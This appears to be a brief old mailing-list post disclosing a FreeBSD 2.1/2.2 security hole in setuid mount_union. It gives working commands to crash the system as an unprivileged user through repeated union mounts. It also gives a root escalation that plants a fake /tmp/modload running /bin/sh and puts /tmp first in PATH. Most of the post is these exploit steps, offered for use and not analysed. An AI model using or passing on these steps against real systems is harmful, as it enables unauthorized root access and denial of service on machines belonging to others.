Hi! FreeBSD has a security hole... dangerous is mount_union if suid is set vulnerable systems are: FreeBSD 2.1 RELEASE/2.2 CURRENT probably FreeBSD 2.1 STABLE is not vulnerable to crash system (as a normal user) try this: mkdir a mkdir b mount_union ~/a ~/b mount_union -b ~/a ~/b to got euid try this: export PATH=/tmp:$PATH #if zsh, of course echo /bin/sh >/tmp/modload chmod +x /tmp/modload mount_union /dir1 /dir2 and You are root! Hole found by Adam Kubicki Best wishes Chris Labanowski KL